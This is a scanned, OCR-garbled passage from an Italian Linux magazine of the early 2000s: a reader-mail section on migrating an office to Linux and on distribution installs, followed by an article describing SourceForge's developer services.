saggi, ognuna di queste 
viene presentata preve- 
dendo una strategia 
specifica, con spiegazio- 
ni dettagliate ed esempi 
di codice per implemen- 
tarne l'efficacia. 


Il bello del 
Pinguino... 


Carissimi lettori di 
LinuxMAGAZINE, siamo 
molto contenti 
dell'interesse, che state 
dimostrando per la 
rivista! Come sempre 
siamo contenti di darvi la 
possibilità di approfondire 
alcuni aspetti della "linux- 
way" alla filosofia di 
sistema e alle possibilità 
di crescita personale che 
vengono messe a 
disposizione di chi si 
incammina lungo la "via 
del pinguino...". Quindi 
continueremo a 
rispondere alle mail 
inviate all'indirizzo 
linuxmag@edmaster.it 
(sintetizzandole per avere 
più:spazio per le risposte), 
cercando di approfondire 
gli argomenti o le 
curiosità di interesse più 
generale. 
linuxrmag@edmaster.it 
Ovviamente, per motivi 
riguardanti la privacy, 
riporteremo nomi e 
indirizzi di e-mail dei 
lettori che ci hanno scritto 
esattamente come 
riportato in fondo 

alla lettera. 


da Ugo 


Linux... amore 
a prima vista 


ee sono un ingegne- 
re ho uno studio con 
dei colleghi. Ora che la 
Apple ha costruito il Mac 
OS X ho capito che devo 
cominciare a studiare un 
po' di shell. Inoltre ci 
siamo stufati di dover 
dipendere da M$ e com- 
pany e dover reinstallare 
software o peggio rifor- 
mattare HD. Ero proprio 
curioso di capire che cosa 
è Linux. Erano anni che 
non leggevo una rivista 
per computer così' inte- 
ressante come Linux 
Magazine: mi sono sem- 
pre interessato molto di 
informatica e non ricordo 
esser mai rimasto cosi' a 
bocca aperta a leggere 
una rivista.... complimenti 
vivissimi! Nella mia vita 
(35 anni) ho lavorato sia 
sui vecchi 8086 che sui 
moderni iMac, ma Linux 
l'ho scoperto recentemen- 
te (a dire il vero già l'anno 
scorso ma non ci avevo 
capito quasi niente). In 
ufficio abbiamo una rete 
mista 10/100 (un NT 4 
workstation usato come 
server e ci sono sia Mac 
con OS 8 e 9 che PC con 
Win 98) con stampanti 
laser in rete, scanners, 
web-cam, stampanti a 
getto di inchiostro di rete 
e USB + un plotter (HP 
450C condiviso tra i PC su 
porta parallela), un router 
ISDN Netopia, e un po' di 
altre cose (masterizzatori 
SCSI, macchine fotografi- 
che digitali, telecamere 
digitali, ecc.). Abbiamo 
deciso che dobbiamo 
abbandonare le licenze di 
M$ perché i software 
fanno in fondo schifo e 
non sono molto compati- 
bili già tra di loro, quindi si 
pensava (un po' alla volta) 
di passare al mondo 


Linux. Le cose risolte per 
la "migrazione" (almeno 
sulla carta) riguardano 
Staroffice che va bene per 
sopperire all'Office di M$ 
(abbiamo fatto le prove e 
la compatibilità dei files 
tra una versione e l'altra 
di word è paragonabile 
con quella di staroffice 
verso o da word), anche 
in caso della necessità di 
dover redigere grossi ma- 
nuali con tante figure e 
foto. Anche con Internet 
non ci sono problemi. | 
problemi che si pongono 
sono i seguenti: 


1 le periferiche che abbia- 
mo sono supportate da 
driver funzionanti? 


2 esistono su linux dei 
programmi di cad che 
importano/esportano 
files DXF-DWG vers. 14 
per Autocad (noi usiamo 
normalmente Minicad- 
VectorWorks 8.5.1) e 
che non siano brutti co- 
me Autocad? Inoltre se 
importassero i file diret- 
tamente da Minicad, 
flessibili e facili da usa- 
re saremmo i più felici 
di questa terra. 


3 Molti fornitori di mate- 
riali impiantistici (campo 
in cui ci cimentiamo 
come progettisti) forni- 
scono applicativi che 
girano quasi tutti sotto 
Win 98: è possibile sop- 
perire a questo con li- 
nux (ad es. doppio boot 
o simulatore di Win 98 
o tenere 2 computer a 
testa)? 


4 È possibile compilare fi- 
le sorgente su piattafor- 
me diverse (ad es. linux 
PPC / Linux x intel)? e 
cosa serve per far ciò? 


Il problema relativo al 
cambiamento in uno stu- 
dio come il mio è che c'è 
poco tempo da perdere 
durante la giornata (si 


deve produrre per portar a 
casa la pagnotta); inoltre 
quando qualche cosa fun- 
ziona non c'è ragione per 
cambiarla (regola principe 
dell'informatica) ... abbia- 
mo calcolato che quindi in 
1 anno di tempo (forse 2) 
potremmo: 


1 pensare che i computer 
esistenti diventeranno 
obsoleti o cominceremo 
ad avere problemi hw 
con le periferiche... 
quindi l'aggiornamento 
sarà causa di ulteriori 
perdite di produttività... 
e quindi tanto vale far le 
cose bene per una volta 
sola; 


2 con eventuali consulenti 
implementare e risolve- 
re i problemi legati alla 
nuova piattaforma (non 
mi spiacerebbe venir a 
sapere che MacOSX e 
Linux sono stretti cugini 
e possono lavorare 
insieme); 


3 sperare che la migrazio- 
ne sarà indolore (0 
quasi) 


Gradirei ricevere una Vs 
risposta/consiglio per 
quanto richiesto. Avete 
guadagnato un lettore: 
cordialissimi saluti e com- 
plimenti ancora. 

Ing. Ugo Fonzar 


Risponde: 
Emmanuele Somma 
<esomma@ieee.org> 


o deciso di "monopo- 

lizzare" lo spazio della 
posta con questa lunga ed 
interessante lettera per- 
chè mi sembra condensi 
molte problematiche. La 
risposta forse non sarà 
così approfondita, ma lo 
spazio -come si dice- è 
tiranno. Molti dei problemi 
sollevati partono da un 
presupposto, o da un'an- 
sia, forse poco realistica. 
Voler avere tutte le rispo- 


da Stefano 


Debian... 


lla cortese attenzione dell'au- 

tore del articolo: "Installare 

la Debian (1° parte)", presen- 

te su Linux Magazine n°15. Caro Si- 
gnore, io non ho nessun nemico che 
proviene da Mung. "...preoccupatevi 
di fare un backup completo dei dati 
eventualmente presenti sul vostro 
disco e siate certi di poter reinstallare 
eventualmente il sistema operativo 
che già avete e tutte le sue applica- 
zioni. Non voglio impaurire il letto- 
re..." :-) ...6,66 euro di rivista e cd 
sono già nel cestino... Mi scusi, non 
ce l'ho con lei. Ho cominciato a inte- 
ressarmi a Linux qualche anno fa ai 
tempi della RH 4.0, e poi via via ne 
ho installate altre sempre in coesi- 
stenza con il sistema operativo del 
suo nemico. Oggi ho una delle ulti- 
missime Mandrake che però non mi 
serve ad un gran che, perché quello 
che con il sistema Microsoft faccio 
con un "click" sotto linux magari ci 
impiego mezza giornata, e poi alla 
fine (magari) non ottengo lo stesso il 
risultato desiderato... Attenzione, 
non sono qui a dire questo è più 
bello di quello, ma ad evidenziare un 
concetto a mio avviso fondamentale: 
un sistema operativo deve "servire" 
l'utente, e non il contrario. Perché mi 
interesso ancora di Linux? Perché 
sono curioso, e penso che linux sia 
un buon SO, però dopo aver speso 
soldi e tempo a leggere il suo articolo 
e tutti i vari README in inglese pre- 
senti sul CD e non essere in grado 
neanche di fare il dischetto di boot, 
penso che lascerò questo compito a 
qualcuno di quei cretini di cui parla- 
va. A proposito, complimenti per 
quella frase, è la parte migliore del 
articolo. :-) 

Stefano Pessini. 


Risponde: Emmanuele Somma <esom- 
ma@ieee.org> 


vendo scelto quell'articolo per 
la pubblicazione mi sento in 
dovere di rispondere. Non capi- 


sco proprio qual è il problema che lei 
lamenta. L'autore dell'articolo (e in 
precedenza varie volte su questa rivi- 
sta) ha ampiamente sottolineato che 
Debian fosse, tra tutte le distribuzioni 
Linux, la più ostica. Che se in generale 
ci sia bisogno di una certa attenzione 
quando si pasticcia con le partizioni, 
come avviene quando si installa un 
qualunque sistema operativo, sarebbe 
meglio farne il doppio nel caso di 
Debian, e quattro volte tanto nel caso 
di Windows. Il passaggio inoltre sotto- 
lineava che con Windows -come sa 
chiunque si sia cimentato nella simpa- 
tica operazione di reinstallazione com- 
pleta di una Workstation andata in 
palla- non basta salvare i propri dati, 
nè sono sufficienti le configurazioni 
dei programmi ma spesso è proprio 
impossibile senza passare attraverso 
la lunga e noiosissima operazione di 
completa reinstallazione di ogni singo- 
lo software necessario al proprio lavo- 
ro. Il discorso quindi, più che qualco- 
sa di relativo a Linux mi sembra solo 
un corretto approccio nei confronti 
della vita (informatica): farsi un 
backup delle cose importanti! Quando 
si tratta di lavorare, io sono sempre 
stato incapace di risolvere i miei pro- 
blemi con un semplice click. Neppure 
quelli semplici. Quindi avere a dispo- 
sizione una piattaforma meno cliccosa 
e più stabile è un modo per venire 
incontro alla mia personale incapacità. 
Lei poi... non faccia sapere ad Ugo 
Fonzar (veda l'altra lettera in questa 
rubrica) che risolve il problema dell'in- 
stabilità di Windows con un click, per- 
chè quel poveraccio sta combattendo 
da decenni con le sue riformattazioni 
periodiche e le sue perdite dei dati. 
Sarebbe ben contento di rinunciare a 
qualche facile click per evitare che 
seguendo le leggi di Murphy i suoi 
computer vadano in palla proprio 
prima di una importante consegna. Mi 
dispiace che Linux Magazine non sia 
stato capace di aiutarla, ma essendo 
una delle pochissime lettere che ho 
ricevuto ad essere così sferzante, mi 
sono deciso comunque a pubblicarla. 
Se il nostro massimo non raggiunge il 
suo minimo non può che dispiacerci. 


ste prima di affrontare il 
primo passo. Non è solo 
che questa rivista e i suoi 
collaboratori non sanno o 


non possono trovare 
modo per valutare la sin- 
gola compatibilità di ogni 
periferica con Linux (o 
con quella specifica ver- 
sione o distribuzione di 
Linux), ma è proprio il 
modo con cui viene 
affrontato il problema 
della compatibilità dei 
dispositivi sotto Linux 
che, ad una prima analisi 
lascia un po' sgomenti, 
perchè anche quando c'è, 
nessuno la garantisce. Ma 
d'altronde anche sotto 
Windows esiste un solo 
produttore che garantisce 
che i propri driver faccia- 
no quello per cui voi li 
avete comprati? Leggete 
bene le clausole delle li- 
cenze e poi mi dite. Co- 
munque è vero che è pre- 
feribile fidarsi del produt- 
tore che non di un qual- 
siasi utente a cui è venu- 
to lo schiribizzo di emula- 
re il driver della propria 
stampante. Sta di fatto, 
però, che alcuni device 
funzionano decisamente 
meglio così. In tutte le 
domande posto in cui si 
prevede la sostituzione di 
una piattaforma proprieta- 
ria con quella libera la 
risposta è sicuramente SÌ, 
a patto che non si debba 
avere a che fare con lega- 
mi proprietari, che si ab- 
bia cioè a che fare con 
standard. In caso diverso 
ci si dovrà probabilmente 
rivolgere a prodotti "chiu- 
si", o a quei rari prodotti 
aperti che sono riusciti a 
reingegnerizzare anche i 
protocolli o i formati pro- 
prietari (Come Samba 
nelle reti NT o StarOffice 
per i pacchetti da ufficio). 
Nel campo della progetta- 
zione, premesso che pur 
essendo un ingegnere 
non esercito in campo 
civile e mi sono limitato a 
semplici progetti di 


Idee e soluzioni 
per l’ufficio moderno 


dii 


SICUREZZA 
IN UFFICIO 
Come 
configurare 
facilmente un 
Firewall con 
Windows XP 


e soluzioni 


ifficio m 


Idee 


o passo 


e il software per compilare 
senza errori il modello F24 


Computer 
All in One 


Poco ingombranti, supor 
veloci o bellissimi... 

perfetti per l'ufficio 
moderno 


FINI 
Ti spieghiamo come realizzaro 

in Business Plan di succosso ed 
ottenore in modo semplice i finanziamenti 


27 di 


PARROCO, Speculare 
s ciiegiai dose" 
doni in Borsa 


* Cossa restizzare grafici s 

- che passione! 
Come gestire In modo 
calcolato il rischio 
sugli investimenti 


ristrutturazione d'interni, 
io uso un software per 
Linux (che in verità mi tiro 
dietro da quando avevo 
l'Amiga) chiamato Cycas. 
Un software commerciale 
con una licenza personale 
gratuita e due livelli di 
prezzo per usi base o 
professionali che, per 
quel poco che ne posso 
capire io professional- 
mente, ha una quantità di 
caratteristiche forse non 
eccezionali ma neppure 
completamente 
disprezzabili, tra cui quelle 
richieste. Più grave è il 
problema del materiale e 
dai programmi provenienti 
dai fornitori, che 
difficilmente li migreranno 
a Linux. In questo caso è 
forse perseguibile una 
soluzione di emulazione 
tramite programmi come 
DOSenu per il DOS, o 
Wine per Windows, o con 
VMware, o addirittura 
usando PC Windows 
condivisi via sistemi di 
comunicazione 
d'interfaccia grafica 
(come VNC). Il dual boot 
è noioso. Una doppia 
macchina per ogni utente 
costoso e poco pratico. 
Quanto alla migrazione 
dell'hardware, invece, il 
problema è certamente 
più delicato, e va 
analizzato in prospettiva. 
Su tutto l'hardware di 
qualità, come stampanti 
di rete o plotter, 
masterizzatori, scanner e 
in generale i prodotti 
SCSI, è molto improbabile 
che Linux non riesca a 
gestirne al meglio la 
funzionalità. Anzi a dirla 
tutta è molto improbabile 
che non si riesca a 
realizzare condizioni di 
lavoro estremamente più 
efficaci di quelle attuali e 
a costi ridottissimi. 
Operativamente, nel caso 
specifico, va subito 
affrontato il primo passo, 
cioè l'affiancamento pri- 
ma e dopo la completa 
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sostituzione del server NT 
con un sistema Linux e 
Samba. Aggiungere, se 
necessario, un buon ser- 
ver applicativo su cui spe- 
rimentare le emulazioni 
software dei programmi 
DOS/Windows con 
DOSEMU, Wine o una 
installazione VMware 
(attenzione che in questo 
caso c'è sempre bisogno 
della licenza Windows, 
ma può essere condivisa) 
accedibile da tutti via rete 
e X-Windows distibuendo 
su tutte le altre macchine 
degli emulatori di X (ad 
esempio PCXware per 
Windows e MAC). Nel 
frattempo dedicare qual- 
che workstation al lavoro 
di progettazione con un 
software architetturale 
come Cycas e verificarne 
la corretta interoperabilità, 
o almeno la possibilità di 
completare in autonomia 
un ciclo produttivo. Qua- 
lora il risultato di queste 
prove sia, come io penso 
possa essere, una buona 
sostituibilità e quindi una 
indolore migrazione verso 
Linux e i suoi emulatori, 
con eccezione di qualche 
software che ostinata- 
mente si rifiuta di lasciare 
le piattaforme proprietaria 
o qualche versione prece- 
dente del sistema operati- 
vo, è consigliabile distri- 
buire comunque Linux/ 
Mac Os X su tutte le piat- 
taforme mantenendo nel 
pool di macchine a dispo- 
sizione qualche piattafor- 
ma Windows (eventual- 
mente di varie versioni) 
acceduti via rete con 
software tipo VNC. L'au- 
mento di flessibilità sa- 
rebbe letteralmente incre- 
dibile, e la riduzione dei 
costi inimmaginabile, 
senza necessariamente 
dover definitivamente 
rinunciare alla propria 
compatibilità, anzi in un 
sistema ben orchestrato 
si potrebbero mantenere 
(offline ma facilmente 


accedibili) tutte le versioni 
dei vari sistemi operativi 
e/o applicazioni (nel caso 
di sistemi proprietari sem- 
pre avendo a disposizione 
le relative licenze). 
Quanto alla compilazione 
per piattaforme diverse la 
teoria dice che è una 
banalità. La pratica sugge- 
risce di andarci con i piedi 
di piombo, l'esperienza 
insegna di affidarsi a pro- 
fessionisti (se ce ne fos- 
sero a portata di mano). 
Se tutto è limitato a due 
sole piattaforme (ad es. 
Intel e PPC) e un solo 
S.O. (ad es. Linux), la rea- 
lizzazione di un sistema di 
autocompilazione è pres- 
socchè indolore, basta 
semplicemente configura- 
re correttamente GCC per 
la cross-compilazione (mi 
sembra che SuSE metta a 
disposizione sul proprio 
web dei cross-compilatori 
già correttamente confi- 
gurati -per Intel e PPC). 
Per ogni componente che 
si aggiunge, però la com- 
plessità cresce in modo 
non lineare e tutto s'inca- 
sina al punto che distri- 
carsi supera quasi le 
capacità umane. 
Avvertito! Comunque gli 
specialisti del settore 
sono quelli di Montavista 
(www. mvista.com) che 
hanno una distribuzione 
(Jurneyman) studiata 
appositamente per questo 
genere di problemi. Mac 
OS X e Linux, se non fra- 
telli, sono sicuramente 
cugini. Non è affatto 
improbabile che un bravo 
consulente possa trattarli 
assieme. Infine... un anno 
per la migrazione è sicura- 
mente un tempo adegua- 
to, tenendo però conto 
della legge di Pareto: 
l'80% della migrazione 
dovrà prevista nel 20% 
del tempo, perchè il resiu- 
do 20% sarà molto duro 
da affrontare. La migrazio- 
ne non sarà comunque 
completamente indolore. 


Ma come ogni febbre è 
necessaria per espellere 
la malattia... 


da: Flavio 
Easy Linux 


lo comprato oggi per 

la prima volta la 
Vostra rivista, interessan- 
te. Possiedo un P233 con 
win98. Viste le caratteri- 
stiche oramai limitate vor- 
rei provare ad avvicinarmi 
al mondo di Linux di cui 
sento meraviglie. 
Quando parte l'installazio- 
ne del prg in oggetto il 
mouse diventa inutilizzabi- 
le e tutto si pianta. Come 
inizio non c'è male :-), 
che fare ? 

Grazie, Saluti Flavio 


asyLinux è stata una 

delle distribuzioni che 
abbiamo allegato a riscuo- 
tere maggior successo. 
Purtroppo non è mai ga- 
rantito che tutto funzioni 
su qualunque macchina e 
in ogni condizione. Noi 
l'abbiamo installata su tre 
computer diversi (tutti 
abbastanza nuovi) senza 
riscontrare problemi. La 
sua configurazione è 
forse troppo anziana per 
gestire una distribuzione 
così orientata alla grafica, 
probabilmente ha solo 
poca RAM. Dovrebbe pro- 
vare ad utilizzare una 
distribuzione con meno 
pretese grafiche o usare 
un desktop più leggero di 
GNOME o KDE, come ad 
esempio XFCE. 


Per contattarci: 
e-mail: 
linuxmag@edmaster.it 
Fax: 09848319225 
Posta: n) 
Edizioni Master, 

C.da Lecco, zona 
industriale - 87030 
Castiglione Scalo (CS) 


SourceForge: 


il luogo dove si 
forgia l'OpenSource 


Se siete dei programmatori e volete iniziare un vostro progetto 
software, basta entrare in SourceForge ed affidarsi ai servizi del 
creatori di questo meraviglioso sito e al supporto di migliaia di 
utenti della comunità Internet. 


asini è uno dei siti Web più conosciuti su Internet che rappresenta una vera e 


propria fucina di idee e di progetti Open Source.Non starò qui a ripetere per l'ennesima 


volta, come più volte accaduto su questa rivista, la filosofia dell'Open Source e del Free Software, 


non introdurrò di nuovo le ragioni che hanno portato ad un nuovo modo di vedere il mondo 


dell'informatica e dei progetti software dell'ultimo decennio, ma questa volta proporrò direttamente 


uno degli esempi concreti scaturiti dalla nuova visione dell'IT da parte della Open Source Initiative 
(OSI) e da tutta la comunità Open Source. 


Il miracolo 
SourceForge 


Ne sono passati di anni da quando gli 
hacker del MIT si dilettavano nel tro- 
vare nuovi modi per ottimizzare il 
software dei sistemi dipartimentali 
oppure RMS (Richard Stallman) predi- 
cava la necessità di eliminare le pas- 
sword dai server dell'Università. 


Ora si possono avverare sogni che 
fino a qualche tempo fa erano addi- 
ruittura impensabili e questo grazie a 


due nuove componenti fondamentali: 


l'Open Source e il World Wide Web. 
Grazie a queste due realtà è nato il 
sito più sorprendente degli ultimi 
tempi: SourceForge.net. 

Un cocktail di genialità, professiona- 
lità, efficienza, e volontariato. 

Non è la prima volta che un sito 
diventa ritrovo e punto di riferimento 


per i geek (coloro che amano la tec- 
nologia in generale e il computer in 
particolare) di tutto il mondo. 

Anche in questo caso un gruppo 
agguerrito e determinato di giovani 
smanettoni si è coalizzato per creare 
uno strumento utile a tutti i program- 
matori Open Source della Rete che, 
come loro, avevano difficoltà a condi- 
videre i propri progetti software con 
più persone, magari sparse nel 
mondo. 
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E come tutte le favole Open Source 
anche questa è a lieto fine, poichè il 
piccolo gruppetto di hacker è stato 
acquisito da una grande società del 
settore (VASoftware Corporation) che 
ha deciso di comprare il sito intero 
con tutte le persone che ci avevano 


avanti, su un'infrastruttura hardware 
di tutto rispetto, potendo contare 
sulle risorse e il denaro della VA. Si 
contano attualmente: 35 GB di 
memoria, 4,5 TB di spazio disco e 
44 GHz di frequenza processore in 
totale. 


“Il software Open Source comprende tutto il 
software che rientra nella "certificazione" 
dettata dalla Open Source Definition 
(0pensource.org)” 


lavorato ed aggiungendone anche 
delle altre. 

| personaggi fondatori che hanno 
creato tutto questo sono: Tony 
Guntharp, Drew Streib, Tim Perdue e 
Uriah Welcome. 

Poi si sono aggiunti altri componenti 
esterni o direttamente dalla 
VASOoftware come: Patrick “Sounds 
Good" MeGovern, Jacob Moorman, 
Chad Schwartz, Trae McCombs e 
John Mark Walker. 

In realtà SourceForge, dopo l'acquisi- 
zione da parte della VASoftware 
Corporation, è entrato a far parte 
della rete OSDN (Open Source 
Development Network) insieme ad 
altri siti impareggiabili che sono 
diventati i link su cui ogni buon geek, 
hacker o utente normale del mondo 
deve transitare almeno una volta per 
dirsi tale. 

OSDN è diventata la rete principale 
per le news, le comunicazioni e la 
distribuzione delle informazioni di una 
buona parte della comunità IT. Sui siti 
di OSDNsi parla di oltre 5 milioni di 
accessi e 110 milioni di pagine visita- 
te al mese. Tanto per fare qualche 
nome, che sicuramente non suonerà 
nuovo ai lettori, si può dire che tra gli 
altri siti di OSDN troviamo: 
ThinkGeek, Freshmeat, Slashdot e 
Themes.org. 

Il sito di SourceForge si basa, per 
erogare i servizi che vedremo più 
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La "Mission" 
di SourceForge 


L'obiettivo di SourceForge.net è defi- 
nito molto bene dalla "mission", come 
amano indicare le società americane, 
che vuole arricchire la comunità 


Open Source mettendo a disposizio- 
ne degli sviluppatori un sistema di 
controllo e gestione dell'intero ciclo 
di sviluppo di software, chiaramente 
solo Open Source. 

Il software Open Source comprende 
tutto il software che rientra nella 
"certificazione" dettata dalla Open 
Source Definition (per ulteriori infor- 
mazioni sul tema si può andare diret- 
tamente al sito opensource.org). 
Appena entrati nel sito di 
SourceForge, all'indirizzo http://sour- 
cefourge.net, appare una schermata 
scarna graficamente, ma con una 
enorme quantità di informazioni e 
con un titolo centrale che dice: 
"Abbattere le barriere dello sviluppo 
Open Source". 

Infatti SourceForge è un servizio gra- 
tuito per gli sviluppatori Open Source 
che offre un facile accesso ai migliori 
strumenti per CVS, mailing list, 
gestione bug, aree di discussione, 
gestione attività, pubblicazione su 
web, archiviazione permanente dei 
file, backup completi, e amministra- 
zione. 

Il tutto esclusivamente tramite Web 
e il browser del PC. 

In pratica ci si registra sul sito per ini- 


Opensource.Org 


NEWS: Dec 11, 2001: We are looking for folks to translate the 


into other languages. 


OpenSource Definition 
Please contact the webmaster Please use the himi from that page & remove the navigation links to the other 


languages. 
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The basic idea behind open source is very simple: When programmers can read, redistribute, and modify the 
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We in the open source community have learned that this rapid evolutionary process produces better software 


than the traditional closed model, in which only a very few programmers can see the source and everybody 
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Open Source Initiative edsts to make this case to the commercial world. 


Open source software is an idea whose time has finally come. For twenty years ithas been bullding 
momentum in the technical cultures that built the Internet and the World Wide Web. Now it's breaking out into 


the commercial world, and that's changing all the rules. Are you ready? 


You can read a brief history of 
er 
resouices relsted to open source. 


pati page answering 
Site Index 


| Allofthe content on this site, in an 
| casyto-use menu: only one chck amar 


This site is stili evolving as we think through the implications of open source in the commercial world. We dont 
claim to have all the answers yet, so mail us with your thoughts and criticisms. Also, please send us URLs of 
articles and papers on commercial trials ofthe open source model, on open source software Including such 


packages as Linux and Apache, and related topics. 


Mirrors ofthis site are available in the following countries: Austria, Denmark Greece, Hungary, Italy, Sweden, 
US UK 


Copyright © 2001 by the Open Source lntiative 
Webmaster: Steve Malett (Aug 1G/0 


Figura 1 


L’home page del sito opensource.org 


ziare un nuovo progetto e si utilizzano 
tutti i servizi messi a disposizione da 
SourceForge. 

Dopodichè, con l'aiuto di tutti gli altri 
sviluppatori sparsi in ogni angolo della 
terra e dello staff di SourceForge, 
potrete portare avanti lo sviluppo di 
un progetto con molte meno difficoltà 
rispetto ad una gestione privata e 
locale, ristretta ad una piccola cerchia 
di persone. 

Se invece volete solo collaborare con 
qualcuno che ha già un progetto in 
corso d'opera, sia perchè siete inte- 
ressati all'argomento, sia perchè utile 
per scopi personali, allora basta entra- 
re nella lista dei progetti contenuti nel 
sito e studiare lo stato attuale e la 
documentazione prodotta del proget- 
to scelto. 

Non bisogna pensare che i frequenta- 
tori di SourceForge siano tutti dei 
buoni samaritani con la predilezione 
per l'aiuto del prossimo in ogni 
momento. 

Se, ad esempio, vi serve un driver 
per un modem, un po' fuori della 


modifiche per migliorare ulteriormen- 
te il software. 

That's Open Source! 

Chiaramente detto a parole è molto 
semplice, ma per gestire tale com- 
plessità, specialmente se il progetto 
non è banale o comunque se com- 
prende una vasta area di problemati- 
che software, c'è bisogno di un siste- 
ma di controllo e gestione di ausilio 
per tutti i programmatori coinvolti. E 
qui entra in gioco il valore aggiunto di 
SourceForge che porta ai massimi 
livelli il supporto per tale lavoro e lo 
amplia con un ambiente integrato in 
cui si trova tutto ciò che può servire a 
chi porta avanti i progetti. 


Le aree edi servizi 


Per facilitare la ricerca del progetto di 
interesse, SourceForge ha creato 
delle aree tematiche (Foundry) in cui 
gli sviluppatori possono condividere 
non solo i progetti, ma anche infor- 


“I Collaborative Development System (CDS) è un 

insieme di strumenti per il Web che permettono la 

gestione di tutti gli aspetti del progetto avviato su 
SourceForge.” 


norma, e sono mesi che state cercan- 
do di farlo funzionare sotto Linux, 
potete andare a scovarlo nei vari pro- 
getti di driver per Linux e forse trove- 
rete qualcun altro che, come voi, ha 
avuto lo stesso problema e si è 
messo a scrivere del codice per 
poterlo utilizzare. L'idea geniale è che 
tutti quelli che hanno lo stesso pro- 
blema, e sono dei discreti program- 
matori, possono analizzare il codice 
già scritto e migliorare o aggiungere 
parti per poi ridistribuirle sul sito stes- 
so, in modo da creare un effetto a 
valanga in cui altri utilizzeranno tali 


mazioni, novità, esperienze e trucchi 
del mestiere su un determinato argo- 
mento. Le aree attualmente presenti 
sono: 3D, BASIC, Clustering, 
Database, Distributed Computing, 
Espafiol, Games, GNOME, Japanese, 
Java, Linux Driver, Linux Kernel, 
Linux on Large Systems, Open 
Source Printing, PHP, Perl, Python, 
Russian-speaking, Storage, TCL, 
Vector Graphics. 

Nella pagina principale del sito trovia- 
mo, oltre ai link di tutte le sezioni di 
SourceForge, anche le news sui 
nuovi progetti attivati più di recente, 


le percentuali dei progetti più attivi 
della settimana e le statistiche dei 
progetti aperti e degli utenti ammini- 
stratori registrati fino a quel momen- 
to. AI momento della stesura di que- 
sto articolo si contano 32277 progetti 
e 333495 utenti registrati. 

Vediamo ora quali sono i servizi offer- 
ti da SourceForge illustrandone bre- 
vemente le caratteristiche e le moda- 
lità di fruizione. 

Per la dinamicità intrinseca del sito e 
del software che lo rende così utile, i 
servizi offerti possono migliorare o 
addirittura aumentare, quindi la lista 
che segue può cambiare da un giorno 
all'altro senza preavviso. 

Il Collaborative Development System 
(CDS) è un insieme di strumenti per il 
Web che permettono la gestione di 
tutti gli aspetti del progetto avviato 
su SourceForge. Accessibile tramite 
la pagina iniziale di amministrazione 
del progetto (Summary), il tool serve 
per amministrare in maniera semplice 
il team di sviluppo, inserire news sul 
progetto, lanciare richieste di aiuto su 
particolari problemi ed accedere a 
tutti i servizi che saranno elencati di 
seguito. 

Il servizio di Project Web Server è il 
nucleo fondamentale di tutto il siste- 
ma di gestione perchè mette in grado 
l'utente amministratore di fornire 
informazioni recenti sul proprio pro- 
getto, sia agli utenti potenziali che a 
quelli attuali. 

SourceForge mette a disposizione un 
“virtual hosting” sul proprio Web 
Server comprensivo di 100 MB di 
spazio, possibilità di utilizzo di script 
CGI e script PHP, in modo da rendere 
al massimo efficiente e funzionale il 
sito del progetto. Il link del sito Web 
del progetto dipende dal nome che 
gli è stato assegnato dall'amministra- 
tore all'atto della registrazione e 
seguirà la convenzione: 
htip://<nome_del_progetto>.sour- 
ceforge.net 

Il tool Tracker comprende una suite di 
strumenti integrati di supporto alla 
gestione del progetto. 

E' stato creato un apposito modulo di 
reportistica dei bug che permette agli 
utilizzatori del software di sottoporre 
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Abbattere le barriere allo sviluppo Open Source 


SourceForge è un servizio gratuito per gli sviluppatori Open Source 
che offre un facle accesso ai migliori strument per CVS, malling list, 
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Statistiche SourceForge 


Hosted Projects: 33,003 
Registered Users: 343,484 
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Partecipate! 


Per ottenere il massimo da SourceForge, dovete registrarvi come utente . 


Sourceforge.net Newsletter 
Email Address: 
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Questo vi permetterà di partecipare appieno a quello che abbiamo da 


offrirvi. Ovviamente potete visitare il sito senza registrarvi, ma non avrete 


la possibilità di partecipare. 


Avviate il vostro progetto 


Registratevi come utent, quindi accedete e finalmente registrate il vostro 


Grazie... e diverbtevi. 


SourceForge.net Development Foundries 


SourceForge.net Foundries are topic-focused areas where developers 
connect and collaborate around software development. 


To see a list of current foundnes and their respective links, see our about 


I più attivi della settimana 


( 100906 ) Compiere ERP + CRM 
Business Solution 

( 99.98739% ) DC++ 

( 99.9746% ) Miranda IM Client 
( 99.96199%6 ) Gam 

( 99.94929 ) PCGen 

( 99.9365% ) Squirre!Mail 

( 99.9238% ) Postiuke Content 
Management System 

( 99.91119% ) HSQL Database 
Engine 

( 99.89849% ) Firewall Builder 

( 99.88579 ) php2B 

( 99.8739% ) CDex 

( 99.8602% ) phpMyAdmn 

( 99.84759% ) Pure-FTPd 


Figura 2 


L’home page del sito www.sourceforge.net 


all'amministratore richieste di suppor- 
to, permette agli sviluppatori di distri- 
buire tempestivamente delle patch 
per tali richieste e consente anche di 
ricevere suggerimenti per le caratteri- 
stiche future più desiderate. L'utilizzo 
del tool è estremamente semplice, 
sia per l'amministratore che per gli 
utenti finali e ricorre all'invio automa- 
tico di email per mantenere tutti 
aggiornati su qualsiasi cambiamento 
o novità. Inoltre il sistema ha delle 
caratteristiche di tracciamento delle 
richieste con relative statistiche di 
dettaglio sui tempi di presa in carico 
delle richieste e sui tempi di risposta 
e risoluzione; quindi si possono effet- 
tuare anche delle misurazioni precise 
dei livelli di servizio, in modo da 
migliorare sempre di più il supporto 
agli utenti e la gestione dello sviluppo 
software. 

Un altro servizio utilissimo all'ammini- 
stratore è quello della mailing list che 
risulta indispensabile per rimanere 
sempre in contatto aggiornato con il 
team di sviluppo e gli utenti del 
software. Le mailing list sono ammi- 
nistrate totalmente tramite Web e 
quelle pubbliche sono archiviate sul 
sito Geocrawler 
(www.geocrawler.com). E' stato 
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anche curato molto l'aspetto della 
sicurezza con un robusto sistema 
anti-spamming. 

Il servizio di distribuzione del softwa- 
re è basato su una rete ad alta capa- 
cità e su server di download del 
software che consentono 1000 con- 
nessioni FTP e 3000 connessioni 
HTTP concorrenti. Inoltre si può trac- 
ciare il numero di volte che il softwa- 
re del progetto è stato scaricato e 
inserire sistemi automatici di notifica- 
zione tramite e-mail sulla disponibilità 
di nuove versioni. 

La Compile Farm è una vero gioiello 
di SourceForge perchè mette a 
disposizione degli sviluppatori una 
rete di vari host con sistemi operativi 
diversi che possono essere utilizzati 
per creare binari precompilati. Per 
entrare sui sistemi di sviluppo si può 
utilizzare il protocollo SSH con un 
account di shell comprensivo di cron- 
tab. L'amministratore del progetto, 
se lo richiede, può ottenere un pro- 
prio database MySQL per lo sviluppo 
e il test di applicazioni o per appog- 
giarsi direttamente dalle componenti 
del sito Web che magari si interfac- 
ciano tramite script PHP. 

Un'altra componente fondamentale 
per un qualsiasi progetto è la gestio- 


ne delle versioni del software con un 
